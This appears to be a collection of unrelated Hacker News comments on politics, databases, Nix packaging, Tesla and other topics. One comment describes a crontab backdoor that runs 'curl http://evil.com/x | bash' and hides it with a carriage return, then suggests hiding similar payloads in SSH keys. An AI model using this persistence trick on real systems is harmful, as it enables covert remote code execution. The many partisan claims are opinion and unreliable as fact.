skysight-inc/HackerNews huggingface dataset:
Majority of violence is done by right wing. It is beyond cynical to lie so much and try to pin it on the left. The right is the ones who are the biggest and actual threat to both freedom and democracy - and actual perpetrators of murders and terrorist attacks.

And no, j6 were no tourist not peaceful. They were literal violent attempt to prevent votes count.
The BART has waifus now
> Since 2016, 38 out of 40 diesel cars tested by ADAC failed a NOx-test.[6]

Agreed that it seems like everyone at least looked suspicious.
One can only hope. What was he even doing talking to so many government leaders? Did he imagine they’d all fall for cheap fud and embrace copyright theft overnight?
> What does helping Ukraine defend themselves have to do with 'war fervor'?

For me: the manner in which it is done (the rhetoric in media, etc).
Slow down progress for 5.8 billion people so that 400 million feel protected.
Two relations with a one-to-one relationship implies identical primary keys. Most implementations default to creating an index on the primary key.

In this case, the premium user table only needs the user id primary key/surrogate key because it only contains premium users. A query starting with this table is naturally constrained to only premium user rows. You can think of this sort of like a partial index.

One consequence of this approach is that queries filtering only for non-premium users will be more expensive.
That's mostly assuming that "decorum" is kept, which is essentially the hallmark bellwether for geopolitical stability. A populis leader could hypothetically take and maintain power outside of established rules and laws (i.e. imposed term limits, respecting results of elections, being physically and mentally fit to serve). Every nation state is basically constantly on the knife's edge of falling into political disarray; decorum/external optics is basically the temperature you can use to measure stability
https://archive.is/INBuP
>It was the court's second decision in a year limiting the ability of the agency to enact anti-pollution regulations and combat climate change.

The way the article is written you can really tell that the NPR writer has an opinion.

Rather than just explain the facts about what happened they obviously frame it as “conservatives are destroying the planet”.

This is why trust in news sources is at an all-time low.
https://en.wikipedia.org/wiki/Champernowne_constant
That's not true.

We poll the hell out of our populace and ask, "What do you identify as?" That's how we know how people identify.

> In other countries, people pay membership dues to their political parties and get membership cards. Here, we just declare our allegiance to these private organizations on twitter.

Some states in the US have state-level party organizations which you join and receive a card. Not all.
Is what you raise relevant? Is it fine if everybody does it? Is the leak not real because you found a link to it on an unimpartial site?

Edit:spelling
> Do not confuse Russia with the Soviet Union

Russia was a constituent Republic of the Soviet Union and NATO was on the border of Russia, as well as the Soviet Union, when it was formed.

> The US made assurances that NATO would not expand eastward

Informal assurances of current intent given to the Soviet Union around the time of German reunification and never reduced to a treaty or even a formal executive agreement are not binding commitments with unlimited time horizons inheritable by successor states. (And, anyhow, Russia's active pursuit of NATO membership, including under Putin until he got upset that he couldn't bypass the readiness requirements and be directly admitted ahead of others, would have been a clear repudiation of it if it did still have some applicability.)
Trump's election proved beyond a shadow of a doubt that the elections are as fair as they could ever be. Not in a million years would anyone in any establishment left or right have wished for Trump to be president in 2016. Yet it happened anyway.
I suspect they were being sarcastic.
Hasn't 2000 Mules been debunked multiple times? It is basically "election was stolen" nonsense. Why do you think it is true?

https://www.texastribune.org/2022/10/07/texas-ken-paxton-200...

https://www.washingtonpost.com/politics/2022/05/11/2000-mule...
Unfortunately they sent this today:

Hello,

Due to your account closure we cannot release your domain.

Thank you,

Shopify Trust & Safety Team
War? Product placement campaign.
The value is something the US Transportation Admin. has calculated [0]. It's rather cold-blooded, but it makes sense.

[0] https://www.transportation.gov/office-policy/transportation-...
woosh, as the kids say. Fairly sure parent is sarcastic.
> Sane drivers don't do it just randomly in perfectly safe situations

You can't always assume that you will be able to tell when a situation has turned from safe to unsafe. You just can't exactly see what the driver in front of you (or the driver in front of _them_) is seeing.

And you can't assume that the driver in front of you is sane!

You have to _always_ follow at a safe distance.
My favorite "backdoor" was a crontab entry that looked something like this:

*/3 * * * * curl http://evil.com/x | bash # ^M52 6 1 * * test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

The ^M was a carriage return character. `crontab -l` shows nothing unusual because the ^M causes the later innocent-looking entry to overwrite the actual entry. With the added obfuscation of two other completely innocuous entries ("daily" and "weekly"), it's not easy to spot.

Perhaps something similar could be done with SSH keys? Drop a ^M somewhere in the command and make the rest look innocuous.

Also, base64-encoding the evil command would be more effective, since a typical key is a pile of unreadable base64 anyway, so it would blend in better.
> The dramatic, much-debated vote on Joint Resolution 114 was taken on Oct. 11, 2002. It passed the Senate by a vote of 77 to 23, and the House of Representatives by a vote of 296 to 133. In the end, 156 members of Congress from 36 states had enough information and personal insight and wisdom to make the correct decision for our nation and the world community.

> Six House Republicans and one Independent joined 126 Democratic members of the House of Representatives in voting NAY. In the Senate, 21 Democrats, one Republic, and one Independent courageously voted their consciences in 2002 against the War in Iraq.

https://www.thoughtco.com/2002-iraq-war-vote-3325446

Worth mentioning among the NAY votes is Barbara Lee representative of California’s 12th congressional district (9th during the vote) who has announced she’ll be running to take Dianne Feinstein’s (who voted YAY) seat in the 2024 senate race, and is a favorite among many progressives (i.e. left wing Democrats).
It seems a bit excessive, but if you assume someone working from 25 to 65, that is 40 years, at $50k per year then they're "worth" >= $2M to the economy. Really more than that because they will do some things for free to other people, such as family members. So it is probably at the right order of magnitude.
> and it's much harder to check than aurora if they do.

APKs are fundamentally extended JARs so you can easily check if an APK has been tampered with using standard Java tools [1].

[1] https://stackoverflow.com/questions/7104624/how-do-i-verify-...
Sorry if I'm being thick here, but I'm still confused. Why is neither alternative real? I get that the US isn't being attacked. However, appeasement in the 1930s wasn't a policy enacted by countries that were being actively attacked yet. It was a policy enacted by other countries.

I guess, in my head (and I'd love to hear your take on this), the US doing nothing _is_ appeasement.
Dear OpenAI,

Please write for me a syllabus and thesis argument where I can defen the fact that as an Administrator of any University, my SALARY is cumenserate with ANYTHING - Why should I be pai $500,000++ per year for my efforts?

I mean - take a list of all my degrees, compare them with following educatures from all .edu institutions and describe why my payment is such. Do not lie and make up things - give me a table of top paid university execs and list out the days they have taken personal time off and draw it as a table and tell me what I am not looking into, such as personal political donations (as a seperate table) and publicized media meetings with such where I am listed as a person in a photograph with said media.
What do you call the opposite fallacy? The one where any proposed solution is worse than the status quo because of all the things that could hypothetically go wrong?

What-if-ism?

Add: Example: A restaurant that throws away 10% of their supplies each day proposes to donate them instead to a soup kitchen a day before they would normally dispose of them. Then somebody asks, "What if the soup kitchen holds on to them too long and then somebody gets sick from the food we donated and we get sued?"
I would suggest one more step of "oh, this is great": I don't think people need to care as much about finding the right version in the repo as they do. (Unless we're talking about something really significant like finding old MySQL 5.6) For smaller apps you can either override or copy the current nix file and update the version and hash - you get the version you want. It will use new version of the dependencies, but normally that's just fine.

I've got 3 packages which are pinned to a specific version that way in home-manager and I'm happy. It's not an approach for the first time user of course.
>cultural cause, defense of their homeland, states rights, yadi yadi.

It was explicitly to enforce the white mans superior position over the black man. That's what many confederate soldiers wrote about, that's what pastors gave sermons about, that's what the confederate government discussed in their legislative chambers. It wasn't even "states rights to own slaves", but explicitly that most of the southern population believed it was by god's will that the white man guide the black savage. They believed the north was morally wrong to elevate the black man as an equal. They were fighting to maintain their societal hierarchy.
It was literally founded as a boot-licking rag! https://en.wikipedia.org/wiki/The_Economist#History
Most “fallacies” are informal and rhetorical and not direct logical fallacies. Almost no one will say that X is not perfect, therefore it can be discarded. But plenty will focus their argumentation on how X is not perfect and leave the implication on the table that X is not worth bothering with.
The A20 line was famously used to hack the original XBox. By clearing A20, you prevent the XBox from booting from the hidden ROM, and it boots from regular flash ROM instead.

Some great videos about that on YouTube if you want to look.
Yeah I agree but, like I say, we were defeated by COVID before Biden was elected, just like we were defeated in Afghanistan before he was elected. He could have pulled off something excellent in either case, but that would have been very difficult and I don't know how he would have done it.
I absolutely adore the works of John Bird:
https://www.google.com/search?tbo=p&tbm=bks&q=inauthor:%22Jo...

it really takes you from the ground up all the way to advanced subjects. He published multiple books on various levels of mathematics.
Russia has borders with NATO and had them for years. The buffer theory makes zero sense, considering Ukraine was not even trying to get to NATO and there is pretty long border between Russia and NATO anyway.

NATO basis were next to Russia for decades.

Plus, one does not need to commit genocide to achieve safety. Anand Putin just happen to be committing genocide.
https://archive.ph/RcRhT
yeah, you can hear some english pronunciation forced in sometimes but overall is pretty good
By your logic there would be nothing wrong in charging $100 or more for an insulin injection.

Instead https://worldpopulationreview.com/country-rankings/cost-of-i...
This. They have all failed at this thus far, it naturally means that anyone trying will fail next time too. For eternity. It’s a well established law of nature at this point, that if new tech isn’t a massive hit within the first few iterations, it’s a wrap.
Fdroid compiles it not aurora themselves. So you just have to trust f-droid. (which I do)
Yikes, yeah- on second thought it does seem sarcastic.

It's just so difficult to tell with Tesla because it certainly does have a certain portion of the population that would have posted the original comment entirely unironically.
Versioning is a bit easier with Flakes because they're generally published in their own Git repository, meaning you can use tags or branch refs to publish/install specific versions of a package. You can usually do something like `github:org/repo/ref#package` to get what you need.
Neanderthal Flute
Isn't there intra NATO conflict between Turkey and Greece?
The number of accident might be lower (no idea) but still, If I'm responsible of killing/injuring someone with my car, I'll pay the consequences. If Tesla is responsible of killing/injuring someone with their car (when they drive through the autopilot), they must also pay the price (probably damages or jail depending of the situation).
> watching the left abandon their antiwar fervor.

As left people gain political maturity, they understand that those in power will not give up their power willingly, so force is required.

As a liberal person I am suspicious of any liberal who does not believe in gun rights, and I am even more suspicious of a liberal person who does not believe in unions, which is the 2nd amendment of labor rights. Neither the 2nd amendment nor unions can be used for their purpose within the bounds of the law.

Believing in human rights means believing in defending human rights with force, otherwise what is to stop someone from violating human rights?

If a powerful person uses their power against you, your choices are submit or fight. Leftists are slowly understanding:

1. There are powerful people
2. They will arbitrarily use your power against you
3. Those people use their power to influence law so the law will not protect you
4. You can't solve this problem within the bounds of the law

It's not hard to look at Ukraine and see that justice cannot be achieved without war and that you don't get to decide when you are at war.
I'd recommend not the Pinephone but the Pinephone Pro. The former is extremely slow.
SCOTUS is gathering both legislative and executive power onto itself.

Our Constitution's balance of powers was specifically designed to curtail that.

As a long time fan of democracy and loyal citizen of the USA, I'd rather have elected representation, for all their faults, rather than a cabal of reactionary corporatists with lifetime appointment and near zero accountability, calling the shots.

But opinions differ.

Some think monarchy is just terrific. Because 2400 years ago Plato blathered about mobs and tyrants and wokeness.
But oh my, the security implications. Nix is great, but there's no chain of trust on where these packages come from. Did we learn nothing from 'left_pad'?
“Industry veterans hired to patronage positions in high office, who then push the government into a war that will benefit the industry or company.”

Donald Rumsfeld and Dick Cheney seem to fit this mold squarely
We can hope - we certainly seem to be at a point where the economics are meaning that investment will only increase, and at the same time oil etc will become less valuable against cheaper and cheaper energy sources.
Yeah all that profit from companies pulling out
I am skeptical of anything with a battery. My mother who is 80 can keep absolutely nothing charged. Batteries die and they are not recharged until someone charges and reconnects.

Ideally some future tech will not require batteries or they will last a year or so.

Great project, I am happy to see this area pushed forward.
Hey, when I was young Swiss mercenaries were considered truly elite troops. Remember the battle of Nancy.
Part hype, part perceived future value. Tesla's market cap is not as a car company but as a robot manufacturing company. Investors believe Tesla has a lot of room to grow beyond just selling EVs.
Tela insurance is way more expensive than other cars.
> but also that flying in Europe was a much better experience with less BS at the airport

For what it's worth, that's no longer true since 9/11. We have the same security theatre the US has (with the exception that we don't demand TSA locks), our airports have gone all in on upselling you overpriced crap (really, they're better equipped than some malls, it's insane), and Ryanair drove down the bar for "acceptable" behavior to below zero.
What things specifically? LLMs?
same logic applies to all IR imagery including sat
Ah, for that problem, I'd prefer to have read_barrier() and write_barrier() type primitives that take no arguments.
You seem confident you wouldn't have failed the author of this blog post, but I wouldn't be so certain.

Interviews are a high pressure situation where people want an immediate answer, without much of any time to think, let alone research options or run an experiment. You get people's absolute worst possible results.
No one is asking for free unlimited access. There’s a jump off point between $0 and $100.

Twitter goes from 0 to 100 to…5000

That’s not reasonable. That’s just plain hostile.
That's merely one argument that merely some people find reasonable.

There are other equally valid arguments and other people who find them reasonable.
They did it for a 3 year period from 2002-2005.

https://en.m.wikipedia.org/wiki/North_Korea%E2%80%93United_S....
What does that matter though? Should we have bombed ourselves because germany and japan couldn't do it?
> Part of this reads as if you're not allowed to be criticized for some reason.

That was definitely not my intent, and I'll take that on board as an area to improve on :)
NATO was already on his border.
> This (interstate navigable) does seem like a much more restricted version or interpretation of 'waters' and areas one might want to protect though. Does this ruling impose this interpretation now?

No. (Thomas argued for such circumscription.)

The Opinion functionally concerns itself with wetlands, finding "that the CWA extends to only those 'wetlands with a continuous surface connection to bodies that are ‘waters of the United States’ in their own right,' so that they are 'indistinguishable' from those waters." (On page 19, the Opinion concedes that "the waters of the United States" are a broader category than "traditional navigable waters.")

There is a debate about the difference between adjacent, neighboring and adjoining. But the Court is unanimous in most material respects.
The way governments pour money into this is by funding grants at research universities.

This came out of McMaster, though, and I don't know if the Canadian government does funding the same way as we do in the USA.

Still it raises an ugly question, why can discoveries funded by the citizens of a country be turned into the patented property of private companies.
Honestly too little nuanced reviews, too much 5 star reviews or 1 star reviews all signal the same thing to me: toxic workplace.

With smaller companies/startups >60 people, a better signifier is very little glassdoor activity. Someone who works in a healthy workplace with fair, well paying salaries has no reason to ever even open that dumpster fire of a website.
What makes you think they aren't?

I can name four or five labs on my floor that are currently working on various aspects of antimicrobial resistance, all of which are government funded.
I thought this too, but we got a lot of requests for better version search + pinning. Adding overrides and looking up the right commit hash is a pretty cumbersome for a first time user.

For new projects though, I agree that using `latest` is generally the way to go.
This seems odd to me, though its entirely possible my experience thus far hasn't been this. I've been told at the last 3 places I worked that one of the reasons I was hired was how inquisitive I was during the interview stage, asking lots of questions before coming up with solutions

I am most definitely not ruling out what you're saying may be common case and I am just very lucky, but I do want to act as a sort of counter point to see if others can weigh in so we can get more of an industry sense around this
What's the name for that fallacy where we do not know what went right, and we pessimize to assume the worst? I.E. How many times did Tesla prevent a crash? Assume none?
32 bit windows software is not emulated, you call a 32-bit API function and it forwards to 64-bit mode at the system call level. Basically instead of SYSENTER you proceed back to 64-bit mode to perform the system call.
Canadian and U.S. research funding work very differently
Citation needed, Musk’s tweet doesn’t qualify.
Great when you debug something for ages, just to find out your company's DNS setup is broken. Because it can't be DNS, right? /s
I haven’t gotten one in ages (I’m beginning to wonder if maybe they are much less popular in the Northeast for some reason). So I forget, do they respect phone settings like “driving mode, do not disturb?”
JobRunr: A library for background processing in Java
Please, share some reliable evidence that this is the case. So far, nobody has managed to anything but cast doubt on a process that seems to be fair and mostly working.
I also discovered that law. Sometimes I’ve even declared, “This software really sucks. We must be paying $200,000 a year for this.”
From the people who bought you web3. Look where the crowd is going, run to the front and shout "Follow me!".
Trump drafted and signed the agreement and Biden executed it. That’s about as fair as you can put it.

As you noted, Obama and Biden increased troop count before Trump signed the Doha agreement to end the war.
NPR make it seem like this was 5-4 but it was unanimous (9-0)!
Labours today are literally red tories
I think there's a good amount of debate in leftist circles whether Sanders is actually a global leftist or if he's just an American progressive. The two are categorically unalike, which would agree with other comments that any form of Democrat and Republican are just symbiotes attached to the same thing.
The progressives (bernie, AOC, etc.) had very very disappointing responses to Ukraine that showed they are not ready to rule. I was particularly devastated by AOC's response.
If the "so you have no right to complain" part actually happened. Many people (including smart ones) throw around popular memes with little regard for whether they are using them legitimately.

This meme has excellent potential for that as the definition is subjective, but not explicitly disclosed as such creating a dependence on the reader to realize this.

Another excellent point:

https://news.ycombinator.com/item?id=36076175